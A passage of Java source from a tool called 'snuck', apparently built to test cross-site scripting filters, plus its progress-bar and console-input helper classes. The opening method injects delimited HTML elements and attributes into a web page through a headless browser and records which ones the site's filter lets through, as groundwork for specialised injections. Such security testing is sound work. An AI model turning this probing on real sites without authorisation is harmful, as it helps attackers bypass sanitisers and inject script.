		int i = 0;
						
		for (String element : htmlElements){
			i++;
			bar.update(j, num_injections);
			j++;

			delimiter = first_delimiter + i;
			current = "<" + element + " " +
					htmlAttributes + ">" + "X" + "</" + element + ">";
			
			inject(delimiter + current + delimiter);

			checkReversion(delimiter, element, htmlAttributes_arr, allowedElements, driver);
		}
		
		driver.quit();
	}
	
	public void inject(String injection){	
		xmlConfig.commonInject(driver, injection, 0);
	}
	
	public static void checkReversion(String delimiter, String element, 
										String[] htmlAttributes, 
										HashMap<String, List<String>> allowedElements,
										HtmlUnitDriver driver){		
		String reflection = null;
		Pattern pattern = Pattern.compile(delimiter + "(.*)" + delimiter, Pattern.DOTALL);
    	Matcher match = pattern.matcher(driver.getPageSource().replace("\n", ""));	
    		
    	if (match.find()){
    		reflection = match.group().replace(delimiter, "").trim();

    		if(reflection != null && reflection.trim().contains("<" + element)){
    			LinkedList<String> currentAttributes = new LinkedList<String>();
    			   				    				
    			for (String attribute : htmlAttributes){    					
    				if (reflection.contains(attribute + "=\"X\"") || (reflection.contains(attribute.toLowerCase() + "=\"X\"")))
    					currentAttributes.add(attribute);
    			}
    			
    			allowedElements.put(element, (currentAttributes.size() == 0) ? null : currentAttributes);
       		}
    	}		
	}
	
	public static HashMap<String, List<String>> getAllowedElements(){
		return allowedElements;
	}
}


<|start_filename|>src/commandline/ProgressBar.java<|end_filename|>
/*
   snuck - progress bar
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package commandline;

public class ProgressBar {
    private StringBuilder progress;
    private boolean broken = false;
    
    public ProgressBar() {
        init();
    }

    public void update(int done, int total) {
        char[] workchars = {'|', '/', '-', '\\'};
        String format = "\r%s%3d%% %s %c";

        int percent = (++done * 100) / total;
        int extrachars = (percent / 2) - this.progress.length();

        while (extrachars-- > 0) {
            progress.append('#');
        }

        System.out.printf(format, (broken ? "[!]" : "   "), percent, progress,
        		workchars[done % workchars.length]);

        if (done == total) {
            System.out.flush();
            System.out.println();
            init();
        }
    }

    private void init() {
        this.progress = new StringBuilder(60);
    }
    
    public void setBroken() {
        this.broken = true;
    }
    
    public boolean getBroken() {
        return this.broken;
    }
}

<|start_filename|>src/commandline/Debug.java<|end_filename|>
/*
   snuck - IO operations
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package commandline;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Debug {
	public static void print(){
		System.out.println();
	}
	
	public static void print(String message){
		System.out.println(message);
	}
	
	public static void printError(String message){
		System.err.println(message);
	}
	
	public static String readLine(){
		BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
	    String input = null;
	   
	    try {
	    	input = br.readLine();
	    } catch (IOException e) {
	        Debug.printError("ERROR: " + e.getMessage());
	        HaltHandler.quit_nok();
	    }
	    
	    return input;
	}

	public static boolean askForContext(String reflContext) {
		Debug.print("\nINFO: detected reflection context: " + reflContext);
		Debug.print("Do you want to consider this one for specializing the injection? [Y/n]");
		String input = Debug.readLine();
		
		if (input != null && !input.equals("N") && !input.equals("n"))
    		return true;
		
		return false;
	}
}
